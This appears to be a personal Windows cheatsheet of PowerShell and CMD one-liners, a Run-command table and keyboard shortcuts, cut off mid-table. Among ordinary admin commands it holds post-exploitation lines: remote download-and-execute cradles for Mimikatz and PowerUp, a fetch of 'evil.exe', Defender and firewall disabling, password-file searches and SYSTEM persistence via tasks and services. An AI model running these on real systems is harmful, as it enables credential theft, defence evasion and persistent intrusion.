# Windows - Cheatsheet

# Windows Command Line Cheatsheet

# Powershell

## Enable ISE using powershell

In the few months that I’ve been developing powershell, I’ve found the ISE to be incredibly useful. If you get on a new machine and the ISE isn’t there, here’s how you can get it going in the powershell terminal:

```
Import-Module ServerManager
Add-WindowsFeature Powershell-ISE
```

## Securely store credentials in XML for Import

Start out by storing your username and password (in a SecureString format) in a PSCredential object:

```
$cred = Get-Credential
```

Next, go ahead and export your credentials to an xml file:

```
$cred | Export-CliXml <location>.clixml
```

Finally, when you need it, go ahead and import the credentials from the xml file and stored them in a variable ($cred2 in this particular scenario):

```
$cred2 = Import-CliXml <location>.clixml
```

## Command output to file

Append this to whatever you’re running to get the output in a text file:

```
| Out-File <location>
```

For example, if we want to run Invoke-AllChecks from PowerUp and capture output in `C:\temp\output.txt`:

```
Invoke-AllChecks | Out-File C:\temp\output.txt
```

## Command output to clipboard

```
Command | Clip
```

## Require powershell script run as admin

Add this to the top of the powershell file:

```
#Requires -RunAsAdministrator
```

Resource: [https://serverfault.com/questions/95431/in-a-powershell-script-how-can-i-check-if-im-running-with-administrator-privil](https://serverfault.com/questions/95431/in-a-powershell-script-how-can-i-check-if-im-running-with-administrator-privil)

## Unzip file

```
Expand-Archive -Path myfile.zip -DestinationPath C:\temp\myfile
```

Resource: [https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.archive/expand-archive?view=powershell-7.1](https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.archive/expand-archive?view=powershell-7.1)

## Download file

```
$url = "http://192.168.1.3:8080/somebinary.exe"
$outpath = "C:\temp\somebinary.exe"
Invoke-WebRequest -Uri $url -OutFile $outpath
```

### Another way to download a file

Run from cmd:

```
powershell -exec bypass -c "(New-Object Net.WebClient).DownloadFile('http://192.168.1.3','C:\temp\launcher.bat')"
```

## Download PowerUp with Powershell &lt;= v.2.0

This will get you the PowerUp powershell script and put it in `C:\Temp`, or some folder that the user you’re on has permissions to write to.

You can also modify this snippet to download files if `wget` isn’t available.

```
$WebClient = New-Object System.Net.WebClient
$WebClient.DownloadFile("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1","C:\Temp\PowerUp.ps1")
```

one-liner alternative:

```
(New-Object System.Net.WebClient).DownloadFile("https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1","C:\Temp\PowerUp.ps1")
```

another one:

```
powershell.exe -ep bypass -e IEX ((new-object net.webclient).downloadstring('http://target.com:8080/robots.txt'))
```

Another to decode and execute a base64 powershell payload can be found here.

## Using PowerUp

```
import-module c:\PowerUp\powerup.ps1
## Run all the checks
Invoke-AllChecks
```

## PowerUp one-liner

Get PowerUp, run it, and output to a text file so we can read the output easily:

```
powershell.exe -NoP -NonI -Exec Bypass IEX
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/
PowerSploit/master/Privesc/PowerUp.ps1'); Invoke-AllChecks > C:\Temp\PU.txt
```

## Powershell MimiKatz

```
powershell.exe -NoP -NonI -Exec Bypass IEX
(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cheetz/
PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1');
Invoke-Mimikatz
```

## Tail a logfile

You can effectively tail -f the last two lines from a log file with the following:

```
Get-Content logfile.log -Tail 2 –Wait
```

## Run Powershell Script to get around execution of scripts disabled error

```
powershell -ExecutionPolicy Bypass -File pwshscript.ps1
```

## Download sysinternals

First you need to ignore ssl trust:

```
[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true}
```

then you can download it:

```
(New-Object System.Net.WebClient).DownloadFile("https://download.sysinternals.com/files/SysinternalsSuite.zip","C:\Temp\sysinternals.zip")
```

## Log script output to file

```
Start-Transcript -path c:\windows\temp\interesting.log -Append -force

# do stuff

stop-transcript
exit 1001
```

---

# Useful powershell one-liners

## Get hostname:

```
$env:computername
```

## List local accounts on a system:

```
Get-WmiObject -Class Win32_UserAccount -Filter  "LocalAccount='True'"
```

## Check if system is joined to a domain or a workgroup:

```
if ((gwmi win32_computersystem).partofdomain -eq $true) {
    write-host -fore green 'This system is on a domain' } else {
        write-host -fore red 'This system is part of a workgroup' }
```

## Set environment variable:

```
$env:<name>="stuff"
```

## Show env vars in running script:

```
gci env:* | sort-object <name>
```

Resource: [https://stackoverflow.com/questions/39800481/display-all-environment-variables-from-running-powershell-script](https://stackoverflow.com/questions/39800481/display-all-environment-variables-from-running-powershell-script)

## Check if system is running a desktop version of windows:

```
$windesktop = (gwmi win32_operatingsystem).OperatingSystemSKU
-notmatch "(\b[7-9]|10|1[2-5]|1[7-9]|2[0-5])"
if ($windesktop) { write-output "OS is a flavor of Windows Desktop" }
```

## Create new local user:

```
New-LocalUser -AccountNeverExpires:$true -Password ( ConvertTo-SecureString
-AsPlainText -Force 'somepassword') -Name 'someuser'
| Add-LocalGroupMember -Group Users
```

## Create new local admin:

```
New-LocalUser -AccountNeverExpires:$true -Password ( ConvertTo-SecureString
-AsPlainText -Force 'somepassword') -Name 'someuser'
| Add-LocalGroupMember -Group Administrators
```

Resource: [https://gist.github.com/ducas/3a65704a3b92dfa0301e](https://gist.github.com/ducas/3a65704a3b92dfa0301e)

## Get Windows kernel version

```
[Environment]::OSVersion.Version
```

## Get list of IPv4 addr

```
(gwmi Win32_NetworkAdapterConfiguration | ? { $_.IPAddress -ne $null }).ipaddress
```

## Set alias with powershell

```
Set-Alias -Name ts -value 'C:\Users\User\folder\binary.exe'
```

## Change hostname

```
Get-WmiObject -Class Win32_ComputerSystem
$ComputerInfo.Rename("new_name")
```

## Open file with notepad

```
Start-Process notepad "C:\Program Files\Bla\bla.txt"
```

Resource: [https://stackoverflow.com/questions/42669962/open-file-in-chosen-application-in-powershell](https://stackoverflow.com/questions/42669962/open-file-in-chosen-application-in-powershell)

## List Exclusions in Defender

```
Get-MpPreference | Select-Object -ExpandProperty ExclusionPat
```

Resource: [https://superuser.com/questions/1591375/how-to-retrieve-windows-defender-exclusions-by-powershell-without-truncation-out](https://superuser.com/questions/1591375/how-to-retrieve-windows-defender-exclusions-by-powershell-without-truncation-out)

## Add exe to defender allowlist

```
Add-MpPreference -ExclusionProcess "C:\Temp\mimikatz\x64\mimikatz.exe"
```

## Add extension to defender allowlist

This particular code will allowlist all files that end with a `.txt` extension:

```
Add-MpPreference -ExclusionExtension "txt"
```

## Add folder to defender allowlist

```
Add-MpPreference -ExclusionPath "C:\Folder1"
```

Resource: [https://www.msnoob.com/use-powershell-to-add-exclusion-folder-on-the-windows-defender.html](https://www.msnoob.com/use-powershell-to-add-exclusion-folder-on-the-windows-defender.html)

## Stop and Start Defender

### Stop:

```
Set-MpPreference -DisableRealtimeMonitoring $true
```

### Start:

```
Set-MpPreference -DisableRealtimeMonitoring $false
```

Resource: [https://superuser.com/questions/1046297/how-do-i-turn-off-windows-defender-from-the-command-line](https://superuser.com/questions/1046297/how-do-i-turn-off-windows-defender-from-the-command-line)

# CMD

## Wget

```
wget http://<evil server>/evil.exe -Outfile evil.exe
```

## Open command shell as a user

```
runas /profile /user:domain\username cmd
```

## Open a powershell window as a user

```
runas /profile /user:domain\username powershell
```

## Check Permissions for folder

```
icacls <path>
```

## Netstat with findstr

This is an example of what I equate to running netstat and piping the results through grep in linux. This is probably closer to `netstat` with `grep`:

```
netstat -ano | findstr 443
```

### Netstat with find

Another way to run `netstat` and `grep` for something. In powershell you need to escape the double ticks or it will throw an error:

```
netstat -anob  | find `"443`"
```

### Check if RDP is enabled

```
netstat /p tcp /a |findstr 3389
```

Resource: [https://serverfault.com/questions/541086/how-to-diagnose-rdp-with-commandline](https://serverfault.com/questions/541086/how-to-diagnose-rdp-with-commandline)

## Look for files with passwords

```
dir /b /s web.config
dir /b /s unattend.xml
dir /b /s sysprep.inf
dir /b /s sysprep.xml
dir /b /s *pass*
```

## Disable firewall

```
netsh advfirewall set allprofiles state off
```

## Search processes

Similar to using `ps` and piping the output to `grep` in linux:

```
tasklist | findstr processname
```

## Make administrator user active

```
net user administrator /active:yes
```

## Set user password to never expire

```
net user user /expires:never /active:yes /logonpasswordchg:no
```

## Create Scheduled task

On start up as system:

```
schtasks /create /sc onstart /tn "NameofTask" /tr "C:\tools\shell.exe" /ru "SYSTEM"
```

To run every minute as system:

```
schtasks /create /sc minute /mo 1 /tn "NameofTask" /tr "C:\tools\shell.exe" /ru "SYSTEM"
```

## List Scheduled tasks

```
schtasks
```

## Delete Scheduled task

```
schtasks /delete /tn "NameofTask" /f
```

## Create service

On start up:

```
sc create ServiceName binpath="cmd.exe /k C:\Temp\shell.exe" start="auto" obj="LocalSystem"
```

## List Services

```
sc query
```

## Query Service

```
sc qc ServiceName
```

-alternatively-

```
sc query ServiceName
```

## Stop service

```
sc stop ServiceName
```

## Start service

```
sc start ServiceName
```

## Delete Service

```
sc delete ServiceName
```

# Useful CMD one-liners

## Open event viewer from cmd:

```
eventvwr
```

## Open services msc:

```
services.msc
```

## Lists all the service information for each process:

```
tasklist /svc
```

## Kill a process by PID:

```
taskkill /pid <pid> /f
```

## Kill firefox (or any process) by name:

```
taskkill /im firefox.exe /f
```

## Delete a file:

```
del <file name>
```

## List drives:

```
fsutil fsinfo drives
```

## Show users with active sessions:

```
quser
```

or:

```
query user
```

## Show active network sessions:

```
netstat -vb
```

## Get last modified file in a directory (conceptually similar to ls -lart):

```
dir /O:D /T:W /A:-D
```

## Rename file:

```
move file new-file-name
```

Show contents of file:

```
type file.txt
```

## Current user and privilege info:

```
whoami /all
```

## List users:

```
net users
```

## List domain users and output to a file:

```
net user /domain > domain-user-list.txt
```

## List domain controller the current system is authenticated with:

```
echo %LOGONSERVER%
```

## Get FSMO roles for current domain (useful info about domain controller setup):

```
NETDOM QUERY /D:targetdomain.com FSMO
```

## List all domain controllers in the current domain:

```
net group "Domain Controllers" /domain
```

## Print password policy:

```
net accounts
```

## Reboot system immediately:

```
shutdown /r /t 0
```

## Query the registry:

```
reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
```

## Add a key to the registry:

```
reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\system /v
LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f
```

## Remove a key from the registry:

```
reg delete HKCU\Software\Microsoft\Windows\CurrentVersion\Run\ /v hFaZvOAsF /f
```

## Show environment variables:

```
set
```

## How to `rm -rf`:

```
rd /s /q "path"
```

## Reset IE Settings

To perform what the reset button does:

```
RunDll32.exe InetCpl.cpl,ResetIEtoDefaults
```

To delete all caches and settings “Also delete files and settings stored by add-ons”:

```
RunDll32.exe InetCpl.cpl,ClearMyTracksByProcess 4351
```

<div id="bkmrk-resources-https%3A%2F%2Fst">Resources https://stackoverflow.com/questions/4037939/powershell-says-execution-of-scripts-is-disabled-on-this-system https://4sysops.com/archives/use-powershell-to-download-a-file-with-http-https-and-ftp/ http://www.harmj0y.net/blog/powershell/powerup-a-usage-guide/ http://thepcn3rd.blogspot.com/2015/03/utilizing-powerupps1-to-escalate.html http://secvue.com/using-powerup-with-unquoted-service-paths/ https://github.com/cheetz/Easy-P/blob/master/easy_p.py https://blogs.technet.microsoft.com/rmilne/2016/06/03/powershell-tail-command/ https://trustfoundry.net/practical-guide-to-exploiting-the-unquoted-service-path-vulnerability-in-windows/ https://www.toshellandback.com/2015/11/24/ms-priv-esc/ https://blog.jourdant.me/post/3-ways-to-download-files-with-powershell https://www.youtube.com/watch?v=PC_iMqiuIRQ http://tweaks.com/windows/39559/kill-processes-from-command-prompt/ https://stackoverflow.com/questions/43615726/who-command-in-windows https://www.windows-commandline.com/get-file-modified-date-time/ https://github.com/emilyanncr/Windows-Post-Exploitation http://www.itswapshop.com/tutorial/how-get-list-all-domain-user-accounts-command-line-windows https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/tasklist http://www.handgrep.se/repository/cheatsheets/postexploitation/WindowsPost-Exploitation.pdf http://www.networkpentest.net/p/windows-command-list.html [Creating scheduled tasks](https://www.ired.team/offensive-security/persistence/t1053-schtask) [Creating services](https://pentestlab.blog/2019/10/07/persistence-new-service/) [How to rm -rf](https://stackoverflow.com/questions/97875/rm-rf-equivalent-for-windows) [How to add a key to the registry via cli](https://superuser.com/questions/1621648/psexec-access-is-denied-on-domain-user) [Original Article](https://techvomit.net/useful-powershell-commands/)</div>

# Windows Start | Run Commands

<figure class="table" id="bkmrk-accessibility-option"><table><tbody><tr><td>Accessibility Options</td><td>utilman

or

control access.cpl

</td></tr><tr><td>Add Hardware Wizard</td><td>hdwwiz</td></tr><tr><td>Programs and Features

(Add New Programs)

(Add Remove Windows Components)

(Set Program Access &amp; Defaults )

</td><td>appwiz.cpl

control appwiz.cpl,,1

control appwiz.cpl,,2

control appwiz.cpl,,3

</td></tr><tr><td>Administrative Tools</td><td>control admintools</td></tr><tr><td>Advanced User Accounts Control Panel</td><td>netplwiz</td></tr><tr><td>Authorization Manager</td><td>azman.msc</td></tr><tr><td>Automatic Update</td><td>control wuaucpl.cpl</td></tr><tr><td>Backup and Restore Utility</td><td>sdclt</td></tr><tr><td>Bluetooth Transfer Wizard</td><td>fsquirt</td></tr><tr><td>Calculator</td><td>calc</td></tr><tr><td>Certificate Manager</td><td>certmgr.msc</td></tr><tr><td>Character Map</td><td>charmap</td></tr><tr><td>Check Disk Utility</td><td>[chkdsk](https://ss64.com/nt/chkdsk.html)</td></tr><tr><td>Clear Type (tune or turn off)</td><td>cttune</td></tr><tr><td>Color Management</td><td>colorcpl.exe</td></tr><tr><td>Command Prompt</td><td>[cmd](https://ss64.com/nt/cmd.html)</td></tr><tr><td>Component Services</td><td>dcomcnfg

or

comexp.msc

</td></tr><tr><td>Computer Management</td><td>CompMgmtLauncher.exe

or

compmgmt.msc

</td></tr><tr><td>Control Panel</td><td>control</td></tr><tr><td>Credential (passwords) Backup and Restore Wizard</td><td>credwiz</td></tr><tr><td>Data Execution Prevention</td><td>SystemPropertiesDataExecutionPrevention</td></tr><tr><td>Date and Time Properties</td><td>timedate.cpl</td></tr><tr><td>Device Manager</td><td>hdwwiz

or

devmgmt.msc

</td></tr><tr><td>Device Pairing Wizard</td><td>DevicePairingWizard</td></tr><tr><td>Digitizer Calibration Tool (Tablets/Touch screens)</td><td>tabcal</td></tr><tr><td>Direct X Control Panel (if installed)</td><td>directx.cpl</td></tr><tr><td>Direct X Troubleshooter</td><td>dxdiag</td></tr><tr><td>Disk Cleanup Utility</td><td>[cleanmgr](https://ss64.com/nt/cleanmgr.html)</td></tr><tr><td>Disk Defragmenter</td><td>dfrgui

[defrag](https://ss64.com/nt/defrag.html)

</td></tr><tr><td>Disk Management</td><td>diskmgmt.msc</td></tr><tr><td>Disk Partition Manager</td><td>diskpart</td></tr><tr><td>Display Color Calibration</td><td>dccw</td></tr><tr><td>Display DPI / Text size</td><td>dpiscaling</td></tr><tr><td>Display Properties (Themes, Desktop, Screensaver)</td><td>control desktop</td></tr><tr><td>Display Properties (Resolution, Orientation)</td><td>desk.cpl</td></tr><tr><td>Display Properties (Color &amp; Appearance)</td><td>control color</td></tr><tr><td>Documents (open 'My Documents' folder)</td><td>documents</td></tr><tr><td>Downloads (open 'Downloads' folder)</td><td>downloads</td></tr><tr><td>Driver Verifier Utility</td><td>verifier</td></tr><tr><td>DVD Player</td><td>dvdplay</td></tr><tr><td>Edit Environment Variables</td><td>rundll32.exe sysdm.cpl,EditEnvironmentVariables</td></tr><tr><td>Encrypting File System Wizard (EFS)</td><td>rekeywiz</td></tr><tr><td>Event Viewer</td><td>eventvwr.msc</td></tr><tr><td>File Signature Verification Tool (Device drivers)</td><td>sigverif</td></tr><tr><td>Files and Settings Transfer Tool</td><td>%systemroot%\\system32\\migwiz\\migwiz.exe</td></tr><tr><td>Firewall Control Panel</td><td>firewall.cpl</td></tr><tr><td>Folders Properties</td><td>control folders</td></tr><tr><td>Fonts list</td><td>control fonts</td></tr><tr><td>Font preview</td><td>fontview arial.ttf</td></tr><tr><td>Game Controllers</td><td>joy.cpl</td></tr><tr><td>Local Group Policy Editor</td><td>gpedit.msc</td></tr><tr><td>Internet Properties</td><td>inetcpl.cpl</td></tr><tr><td>IP Configuration</td><td>[ipconfig](https://ss64.com/nt/ipconfig.html)</td></tr><tr><td>iSCSI Initiator configuration</td><td>iscsicpl</td></tr><tr><td>Keyboard Properties</td><td>control keyboard</td></tr><tr><td>Language Pack Installer</td><td>lpksetup</td></tr><tr><td>Local Security Policy</td><td>secpol.msc</td></tr><tr><td>Local Users and Groups</td><td>lusrmgr.msc</td></tr><tr><td>Log out</td><td>[logoff](https://ss64.com/nt/logoff.html)</td></tr><tr><td>Microsoft Malicious Software Removal Tool</td><td>mrt</td></tr><tr><td>Microsoft Management Console</td><td>mmc</td></tr><tr><td>Access (Microsoft Office)</td><td>msaccess</td></tr><tr><td>Excel (Microsoft Office)</td><td>Excel</td></tr><tr><td>Powerpoint (Microsoft Office)</td><td>powerpnt</td></tr><tr><td>Word (Microsoft Office)</td><td>winword</td></tr><tr><td>Microsoft Paint</td><td>mspaint</td></tr><tr><td>Microsoft Support Diagnostic Tool</td><td>msdt</td></tr><tr><td>Mouse Properties</td><td>control mouse

or

main.cpl

</td></tr><tr><td>Network Connections</td><td>control netconnections

or

ncpa.cpl

</td></tr><tr><td>Projector:

Connect to Network Projector

Switch projector display

</td><td>netproj

displayswitch

</td></tr><tr><td>Notepad</td><td>notepad</td></tr><tr><td>ODBC Data Source Admin

Default ODBC driver:

32-bit ODBC driver under 64-bit platform:

</td><td>C:\\windows\\system32\\odbcad32.exe

C:\\windows\\sysWOW64\\odbcad32.exe

</td></tr><tr><td>ODBC configuration - Install/configure MDAC drivers</td><td>odbcconf</td></tr><tr><td>On Screen Keyboard</td><td>osk</td></tr><tr><td>OOB Getting Started</td><td>gettingstarted</td></tr><tr><td>Password - Create a Windows Password Reset Disk (USB)</td><td>"C:\\Windows\\system32\\rundll32.exe" keymgr.dll,PRShowSaveWizardExW</td></tr><tr><td>Pen and Touch (Tablet/Pen input configuration)</td><td>tabletpc.cpl</td></tr><tr><td>Performance Monitor</td><td>perfmon.msc</td></tr><tr><td>Phone and Modem Options</td><td>telephon.cpl</td></tr><tr><td>Phone Dialer</td><td>dialer</td></tr><tr><td>Power Configuration</td><td>powercfg.cpl and [powercfg.exe](https://ss64.com/nt/powercfg.html)</td></tr><tr><td>Presentation Settings</td><td>PresentationSettings</td></tr><tr><td>**Problem Steps Recorder**</td><td>[psr](http://windows.microsoft.com/en-gb/windows7/how-do-i-use-problem-steps-recorder)</td></tr><tr><td>Program Access and Computer Defaults - browser / email / media</td><td>computerdefaults</td></tr><tr><td>Printers and Faxes</td><td>control printers</td></tr><tr><td>Print Management (.msc)</td><td>PrintManagement</td></tr><tr><td>Printer Migration (backup/restore)</td><td>printbrmui and [printbrm.exe](https://ss64.com/nt/printbrm.html)</td></tr><tr><td>Printer user interface (List all printui.dll options)</td><td>printui</td></tr><tr><td>Private Character Editor</td><td>eudcedit</td></tr><tr><td>Regional Settings - Language, Date/Time format, keyboard locale.</td><td>intl.cpl</td></tr><tr><td>Registry Editor</td><td>[regedit](https://ss64.com/nt/regedit.html)</td></tr><tr><td>Remote Assistance</td><td>msra</td></tr><tr><td>**Remote Desktop**</td><td>[mstsc](https://ss64.com/nt/mstsc.html)</td></tr><tr><td>Resource Monitor</td><td>resmon</td></tr><tr><td>Resultant Set of Policy</td><td>rsop.msc</td></tr><tr><td>Settings (Windows 10)</td><td>[ms-settings:](https://ss64.com/nt/syntax-settings.html)</td></tr><tr><td>Scheduled Tasks</td><td>control schedtasks</td></tr><tr><td>Screenshot Snipping Tool</td><td>snippingtool</td></tr><tr><td>Security Center</td><td>wscui.cpl</td></tr><tr><td>Services</td><td>[services.msc](https://ss64.com/nt/syntax-services.html)</td></tr><tr><td>Shared Folder Wizard</td><td>shrpubw</td></tr><tr><td>Shared Folders</td><td>fsmgmt.msc</td></tr><tr><td>Shut Down Windows</td><td>[shutdown](https://ss64.com/nt/shutdown.html)</td></tr><tr><td>Software Licensing/Activation</td><td>slui</td></tr><tr><td>Sounds and Audio</td><td>mmsys.cpl</td></tr><tr><td>Sound Recorder</td><td>soundrecorder</td></tr><tr><td>Sound Volume</td><td>sndvol</td></tr><tr><td>Syncronization Tool (Offline files)</td><td>mobsync</td></tr><tr><td>System Configuration Utility</td><td>msconfig</td></tr><tr><td>System File Checker Utility (Scan/Purge)</td><td>[sfc](https://ss64.com/nt/sfc.html)</td></tr><tr><td>System Information</td><td>[msinfo32](https://ss64.com/nt/msinfo32.html)</td></tr><tr><td>System Properties</td><td>sysdm.cpl SystemProperties

or

sysdm.cpl DisplaySYSDMCPL

</td></tr><tr><td>System Properties - Performance</td><td>SystemPropertiesPerformance</td></tr><tr><td>System Properties - Hardware</td><td>SystemPropertiesHardware</td></tr><tr><td>System Properties - Advanced</td><td>SystemPropertiesAdvanced</td></tr><tr><td>System Repair - Create a System Repair Disc</td><td>recdisc</td></tr><tr><td>System Restore</td><td>rstrui</td></tr><tr><td>Task Manager</td><td>taskmgr</td></tr><tr><td>Task Scheduler</td><td>taskschd.msc</td></tr><tr><td>Telnet Client</td><td>telnet</td></tr><tr><td>Trusted Platform Module Initialization Wizard</td><td>tpmInit</td></tr><tr><td>User Accounts (Autologon)</td><td>control userpasswords2</td></tr><tr><td>User Account Control (UAC) Settings</td><td>UserAccountControlSettings</td></tr><tr><td>User Profiles - Edit/Change type</td><td>C:\\Windows\\System32\\rundll32.exe sysdm.cpl,EditUserProfiles</td></tr><tr><td>Windows Disc Image Burning Tool</td><td>isoburn C:\\movies\\madmax.iso</td></tr><tr><td>Windows Explorer</td><td>explorer</td></tr><tr><td>Windows Features</td><td>optionalfeatures</td></tr><tr><td>Windows Firewall

Windows Firewall with Advanced Security

</td><td>firewall.cpl

wf.msc

</td></tr><tr><td>Windows Image Acquisition (scanner)</td><td>wiaacmgr</td></tr><tr><td>Windows Magnifier</td><td>magnify</td></tr><tr><td>Windows Management Infrastructure</td><td>wmimgmt.msc</td></tr><tr><td>Windows Memory Diagnostic Scheduler</td><td>mdsched</td></tr><tr><td>Windows Mobility Center (Mobile PCs only)</td><td>mblctr</td></tr><tr><td>Windows [PowerShell](https://ss64.com/ps/)</td><td>powershell</td></tr><tr><td>Windows PowerShell ISE</td><td>powershell\_ise</td></tr><tr><td>Windows Security Action Center</td><td>wscui.cpl</td></tr><tr><td>Windows Script Host([VBScript](https://ss64.com/vb/))</td><td>wscript *NAME\_OF\_SCRIPT*.VBS</td></tr><tr><td>Windows System Security Tool. Encrypt the SAM database.

(boot password.)

</td><td>syskey</td></tr><tr><td>Windows Update</td><td>wuapp</td></tr><tr><td>Windows Update Standalone Installer</td><td>wusa</td></tr><tr><td>Windows Version (About Windows)</td><td>winver</td></tr><tr><td>WordPad</td><td>write</td></tr></tbody></table>

</figure>From &lt;[https://ss64.com/nt/run.html](https://ss64.com/nt/run.html)&gt;

# Windows Keyboard Shortcuts

## Essential shortcuts

In this list I'm including the most essential keyboard shortcuts you should know on Windows 10:

<div class="slice-container table-wrapper table-7iNnc5rxomCkqep5B8qDfg-7 slice-container-table" id="bkmrk-keyboard-shortcut-ac"><div class="table__container"><table class="table__wrapper table__wrapper--inbodyContent table__wrapper--sticky table__wrapper--divider" tabindex="0"><thead class="table__head"><tr class="table__head__row"><th class="table__head__heading table__head__heading--left" colspan="1">Keyboard shortcut</th><th class="table__head__heading table__head__heading--left" colspan="1">Action</th></tr></thead><tbody class="table__body"><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + A</td><td class="table_body__data" colspan="1">Select all content.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + C (or Ctrl + Insert)</td><td class="table_body__data" colspan="1">Copy selected items to clipboard.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + X</td><td class="table_body__data" colspan="1">Cut selected items to clipboard.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + V (or Shift + Insert)</td><td class="table_body__data" colspan="1">Paste content from clipboard.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Z</td><td class="table_body__data" colspan="1">Undo an action, including undelete files (limited).</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Y</td><td class="table_body__data" colspan="1">Redo an action.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + N</td><td class="table_body__data" colspan="1">Create new folder on desktop or File Explorer.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + F4</td><td class="table_body__data" colspan="1">Close active window. (If no active window is present, a shutdown box appears.)</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + D (Del)</td><td class="table_body__data" colspan="1">Delete selected item to the Recycle Bin.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Shift + Delete</td><td class="table_body__data" colspan="1">Delete the selected item permanently, skipping Recycle Bin.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">F2</td><td class="table_body__data" colspan="1">Rename selected item.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Esc</td><td class="table_body__data" colspan="1">Close current task.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + Tab</td><td class="table_body__data" colspan="1">Switch between open apps.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">PrtScn</td><td class="table_body__data" colspan="1">Take a screenshot and stores it in the clipboard.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + I</td><td class="table_body__data" colspan="1">Open Settings app.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + E</td><td class="table_body__data" colspan="1">Open File Explorer.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + A</td><td class="table_body__data" colspan="1">Open Action center.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + D</td><td class="table_body__data" colspan="1">Display and hide the desktop.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + L</td><td class="table_body__data" colspan="1">Lock device.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + V</td><td class="table_body__data" colspan="1">Open Clipboard bin.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Period (.) or Semicolon (;)</td><td class="table_body__data" colspan="1">Open emoji panel.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + PrtScn</td><td class="table_body__data" colspan="1">Capture a full screenshot in the "Screenshots" folder.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Shift + S</td><td class="table_body__data" colspan="1">Capture part of the screen with Snip &amp; Sketch.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Left arrow key</td><td class="table_body__data" colspan="1">Snap app or window left.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key + Right arrow key</td><td class="table_body__data" colspan="1">Snap app or window right.</td></tr></tbody></table>

</div></div>## Desktop shortcuts

On Windows 10, you can use these keyboard shortcuts to open, close, navigate, and perform tasks more quickly throughout the desktop experience, including the Start menu, Taskbar, Settings, and more.

<div class="slice-container table-wrapper table-7iNnc5rxomCkqep5B8qDfg-10 slice-container-table" id="bkmrk-keyboard-shortcut-ac-1"><div class="table__container"><table class="table__wrapper table__wrapper--inbodyContent table__wrapper--sticky table__wrapper--divider" tabindex="0"><thead class="table__head"><tr class="table__head__row"><th class="table__head__heading table__head__heading--left" colspan="1">Keyboard shortcut</th><th class="table__head__heading table__head__heading--left" colspan="1">Action</th></tr></thead><tbody class="table__body"><tr class="table__body__row"><td class="table_body__data" colspan="1">Windows key (or Ctrl + Esc)</td><td class="table_body__data" colspan="1">Open Start menu.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Arrow keys</td><td class="table_body__data" colspan="1">Change Start menu size.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift + Esc</td><td class="table_body__data" colspan="1">Open Task Manager.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Shift</td><td class="table_body__data" colspan="1">Switch keyboard layout.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + F4</td><td class="table_body__data" colspan="1">Close active window. (If no active window is present, a shutdown box appears.)</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + F5 (or Ctrl + R)</td><td class="table_body__data" colspan="1">Refresh current window.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Alt + Tab</td><td class="table_body__data" colspan="1">View open apps.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Ctrl + Arrow keys (to select) + Spacebar</td><td class="table_body__data" colspan="1">Select multiple items on desktop or File Explorer.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + Underlined letter</td><td class="table_body__data" colspan="1">Runs command for the underlined letter in apps.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + Tab</td><td class="table_body__data" colspan="1">Switch between open apps while pressing Tab multiple times.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + Left arrow key</td><td class="table_body__data" colspan="1">Go back.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + Right arrow key</td><td class="table_body__data" colspan="1">Go forward.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + Page Up</td><td class="table_body__data" colspan="1">Move up one screen.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + Page Down</td><td class="table_body__data" colspan="1">Move down one screen.</td></tr><tr class="table__body__row"><td class="table_body__data" colspan="1">Alt + Esc</td><td class="table_body__data" colspan="1">Cycle through open 